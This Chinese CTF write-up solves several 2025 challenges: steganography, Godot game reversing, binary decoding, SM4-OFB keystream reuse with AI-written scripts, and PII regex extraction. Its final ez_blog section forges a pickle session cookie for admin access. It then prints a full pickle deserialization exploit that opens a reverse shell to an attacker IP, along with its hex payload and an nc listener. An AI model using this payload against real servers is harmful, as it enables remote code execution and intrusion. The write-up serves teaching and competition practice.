2025古剑山 Misc 水果 WriteUp 通过010 editor打开文件，发现末端存在ZIP头： 提取出来，打开发现无密码，是一串base64： 5L2g6L+Z6Iu55p6c5oCO5LmI6L+Z5LmI5aSnCuWkp+S4quWEv+aJjeWAvOmSseS9oOimgeS4jeimgQrov5nmoYPlrZDmgI7kuYjov5nkuYjnoawK56Gs5piv5Zug5Li65paw6bKc5L2g6KaB6L2v55qE6L+Y5piv57Ov55qECui/meilv+eTnOiDveWQg+WQl+eci+i1t+adpeacieeCueS4jeeGnwrkuI3nhp/nmoTopb/nk5zmgI7kuYjlj6/og73kvaDov5nlsLHmmK/nrYnnnYDlkIPnlJznmoQK5L2g6L+Z5p+a5a2Q6L+Z5LmI5bCPCuWwj+W3p+eahOaJjeWlveWQg+S9oOimgeWkp+S4queahOi/mOaYr+WlveWQg+eahArov5nmqZnlrZDmgI7kuYjov5nkuYjphbgK6YW45omN5piv5q2j5a6X55qE5qmZ5a2Q5L2g6KaB5piv55Sc55qE5Y675Yir5a6255yLCui/memmmeiVieacieeCueW8rwrlvK/nmoTpppnolYnmm7TnlJzkvaDkuI3mh4IK5L2g6L+Z5qKo5a2Q5piv5LiN5piv5pyJ54K556GsCuehrOaYr+WboOS4uuaWsOmynOWQg+edgOacieWPo+aEnwrov5nokaHokITmgI7kuYjov5nkuYjlsI8K5bCP55qE6JGh6JCE5pu05rWT57yp55Sc5ZGz 解码得到： 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 同时，发现导出的zip末端仍然有一部分未识别的数据： 根据其1A 9E 97 BA 2A可推测这是OurSecret隐写，通过OurSecret工具打开，发现需要密码。尝试发现密码就是shuiguo，可解出来一个txt： 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 发现和上面解压出来的是一条条对应的。因为上面解压出来的语句是16条，推测是16进制，分别是0-f，然后将OurSecret解密出来的内容分别对应成16进制数，可得到：666c61677b33653235393630613739646263363962363734636434656336376137326336327d。 编写python脚本，2个一组按照ascii转换成字符： hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d" ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)]) print(ascii_string) 得到Flag：flag{3e25960a79dbc69b674cd4ec67a72c62}

2025羊城杯初赛WriteUp GD1 通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开，可找到游戏逻辑： extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() 发现当得分到达7906时会调用一个解密算法，将数组a的数据解密然后打印。尝试按照逻辑编写解密程序： #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } 运行，得到Flag：DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 打开附件发现是一个图片，根据提示，猜测可能存在隐藏的图片或者其他内容。尝试使用binwalk、foremost都无果。最后查询资料可知用了Adobe Fireworks专有的协议，尝试打开即可发现隐藏图像： 将下方的符号按照二进制的方式组合得到： 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 8个一组解码： #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } 运行得到：DASCTF{w0mEN_beh1nD_MEn} SM4-OFB 让AI分析一下加密过程并编写解密脚本： # 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下） # 代码会： # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始） # 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码） # # 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点） # 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文（用户提供） record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文（用户提供） record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具：把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR） ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败，打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 发现能够计算得到姓名和身份证号，再将Excel表中所有人名dump出来放到txt里，让AI写个脚本批量计算： #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() 搜索，发现与何浩璐对应的密文是c2de929284bff9f63b905245fae9574e，再去Excel里搜这串密文对应的身份证号的密文，得到：1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c，再用上面那个脚本解出来：120000197404101676，计算md5：fbb80148b75e98b18d65be446f505fcc即为Flag。 dataIdSort 将需求丢给AI，让AI写了个脚本： #!/usr/bin/env python3 # coding: utf-8 """ 功能： - 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式，并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性（长度、格式、出生日期、校验码）。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性（长度和号段）。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分，如 '01' if any(len(p) > 1 and p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格，这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。 # 1. MAC地址：格式明确，使用冒号分隔。 mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数：读取文件，执行提取，写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() 运行，得到export.csv，上传，正确率>=98%即可得到Flag：DASCTF{34164200333121342836358909307523} ez_blog 打开网页，发现要登录，根据提示，尝试使用用户名guest密码guest成功登录访客，发现Cookies记录了一个Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e。通过AI分析，可知这是pickle经过序列化然后转换成hex得到的，解码可发现：KappUser)}(idusernameguesis_admin logged_inub.，尝试通过修改里面的内容，将username改成admin，is_admin改成True，得到：8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e，通过BurpSuite修改请求时的Cookies，成功拿到admin用户的权限（可以创建文章）： 也就是说，服务端会将Token反序列化，可以以此利用反序列化漏洞。因为没有回显，只能反弹shell。编写Payload： import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) 运行得到Payload：80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e，服务器上运行nc -lvvp 2333，将Payload作为Token发送请求后成功拿到Shell。Flag存放在/thisisthefffflllaaaggg.txt中： 得到Flag：DASCTF{15485426979172729258466667411440}